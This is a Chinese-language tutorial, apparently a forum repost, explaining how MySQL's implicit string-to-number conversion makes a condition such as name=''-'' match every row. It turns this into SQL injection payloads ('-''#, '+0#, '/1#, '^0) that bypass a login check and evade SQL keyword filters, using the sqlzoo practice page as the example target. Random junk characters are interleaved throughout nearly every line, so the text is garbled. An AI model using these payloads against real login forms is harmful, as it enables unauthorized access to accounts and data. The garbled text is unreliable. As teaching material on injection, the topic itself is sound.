我们先来看这样一个场景。* G5 R9 U9 x8 t
有以下表结构:
F, }" r& k+ q& @! X, g2 s) K
3 U' K, b+ A& fmysql> desc admin;
& G9 o8 N" O. c3 K& G: k+----------+--------------+------+-----+---------+----------------+
/ z4 S5 G6 w: f| Field | Type | Null | Key | Default | Extra |' _2 O: }3 _9 b. |3 R7 D E" l
+----------+--------------+------+-----+---------+----------------+" {. y$ w0 M/ e3 t z/ d4 A
| id | mediumint(9) | NO | PRI | NULL | auto_increment |
2 W6 O4 O) {+ u% A' P! w) m. j| name | char(32) | NO | UNI | NULL | |! \' @0 y* k. \( y4 l
| password | char(32) | NO | UNI | NULL | |
8 J+ r3 D- `) n0 j1 W7 P! u! n$ s+----------+--------------+------+-----+---------+----------------+
! H7 l. \' P4 h# l, ?: X3 rows in set (0.00 sec)7 t* P; X" ^' D, i; P
执行select * from admin;,成功返回所有记录内容。
1 H& A) @: B% q# H; X. T B, ]( c1 K4 x( p2 Z
* g* W. Q# F. a& k1 E7 Q+----+--------+----------------------------------+. x* v& i/ b+ U% ~$ K
| id | name | password |' U8 U6 q3 V$ ~3 u/ [# T
+----+--------+----------------------------------+ {5 U# a) l0 R! ?: w
| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |/ ~" s! o2 @# k$ q6 F$ b! B
| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
- z) ^! I) r' ]. M| 4 | n00b | ff80e8508d39047460921792273533a4 |0 v) m) \( A$ T9 v( F$ Q4 h
+----+--------+----------------------------------+
, `8 Y% U. g7 }3 rows in set (0.00 sec)
: ~+ X) u z& p执行select * from admin where name=”;,没有匹配到任何记录。 6 \) J! z; v) o0 `
" _7 X. }1 k& z. p, i# Emysql> select * from admin where name = '';
% Z% N2 E+ _: s' cEmpty set (0.00 sec)
- D5 S" l# y& H, |$ n那么我们来执行select * from admin where name = ”-”;
V/ g* E- K ` O, ]! i. b, F8 e( q# E" m/ ^
, [3 }( t8 w) V) s
+----+--------+----------------------------------+5 t2 B' J O& @
| id | name | password |
# o: U/ a6 H1 Z" f6 h' _+----+--------+----------------------------------+
4 y& t% W4 R7 a( L/ d( ^- _6 p. N| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |
' }: G4 K# |" H& U; Y0 A" T, P. H| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
2 T2 u6 o& h& c W| 4 | n00b | ff80e8508d39047460921792273533a4 |7 O. U" w9 S8 J K
+----+--------+----------------------------------+
# O& {2 Y9 m7 R) w6 P3 rows in set, 3 warnings (0.00 sec)& m% e/ S8 N4 L
可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: : m* z% O B; I1 }5 X$ t7 C* v
. I/ G7 R/ u" P0 ^6 {2 s- b& Y* d% ?
mysql> show warnings;" O- @; m1 `, ^5 z
+---------+------+------------------------------------------
- E9 y# s# e& f- u! F6 ?; F, l| Level | Code | Message
# Q* J( I+ D6 h2 U# Y L: s+---------+------+------------------------------------------7 X0 w! \: p0 V1 W: [0 ~( i2 Z7 e
| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin
5 E1 C$ A+ s9 Q" F" ?/ J! `| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s7 g" J% Y' Q* f* ~2 ~/ l: Y
| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b9 v5 r3 Z# `8 L: o
+---------+------+------------------------------------------
6 T1 v7 ?" F% ~ V% g n3 rows in set (0.00 sec). o4 m0 g ^6 D5 j$ @
提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。
7 O# O1 X8 S% x8 B: ]- C
" T* V2 d- f9 `% I: ? w V; `mysql> select ''-'';/ X. a6 E9 K, r7 x/ D! s2 {
+-------+ z/ U6 B9 C0 B; s f8 H" N
| ''-'' |
" O: i, ?' G6 l9 u( L+-------+ s' ^4 ~& L, V, [: e
| 0 |
! z! K* q1 I1 Z( ?5 |# b+-------+/ K# w( }& g- s4 P, ^1 g; Y+ u4 u
1 row in set (0.00 sec)' E+ n0 {1 K" g" R
返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: 3 l* _, S1 W8 m6 e- o# V2 {
( |3 {3 A! d0 \( g# y3 |; zmysql> select CAST((select name from admin limit 1,1) as DECIMAL);
E; }7 b- M7 E$ W# I. a1 h1 X, i+-----------------------------------------------------+, w8 d p5 |. w+ @3 Y
| CAST((select name from admin limit 1,1) as DECIMAL) |" g9 i5 A; E6 c
+-----------------------------------------------------+
2 m# U* I, T0 ]1 G" Q0 @| 0 |1 [" ~, K! l9 T0 w
+-----------------------------------------------------+
& S" q7 B+ U+ }/ v3 R4 n7 p( v7 G1 row in set, 1 warning (0.00 sec)
2 v/ m7 D( y# z. x因此where语句构成了相等的条件,where 0=”=”,记录被返回。
( v( p: K$ M4 @( E" | y
0 ]% v9 i k6 k* j& Y) GSQL注入场景: http://www.sqlzoo.net/hack/ 6 k8 p. F( `/ F. Q+ T2 I
& u. \; o/ _2 k/ z k1 z( D
! A! M) m% u& g7 q( u$ r+ C( Y' M( x( {
6 u/ n2 ^& n# R
如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。
- B9 @" U+ U6 C) ?* s4 L+ Z0 J. D! @! n$ ^& D8 N- N
那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。
0 J: O3 q$ Q) E; H/ K5 r4 `- @# P/ S& p
& Q& F2 v7 H# p( m& R
5 J# D1 G! i& V7 G8 b7 `( [0 y
! X7 h& ?. X5 @9 b' ?- L
仅仅在name子段输入’-”#,password留空,即可绕过登录验证。
1 z) K' M: ]6 M- H6 i+ L. R8 ^
( E* o! w+ G0 J" U / B$ L3 d) S% r& J
, [1 w6 M5 [5 J8 B5 n( X" `
除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可
; i# l* t$ L( z m& o6 T8 e$ _, R7 s' F) _
4 }2 p% P/ Z! \( A5 i7 p6 ~
mysql> select ''/1;# h8 E' @( ]( z
+------+
- }! v# P- n8 O* M* n| ''/1 |; b$ |2 \9 H3 F! {
+------+( S2 A; ?8 w/ k6 n: {
| 0 |3 ?. e) I* f$ f4 d$ B
+------+
7 }2 B& s3 {2 Q- I5 H1 row in set (0.00 sec)4 R0 E' w. f" N6 a% J, g6 }5 G8 L
类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。 ) z, h3 R5 K* H4 g! [
2 d( J' c: k' Y( P' m8 o; v; s" U' B利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。
3 I2 q! r& L' ]8 t! l- W |
|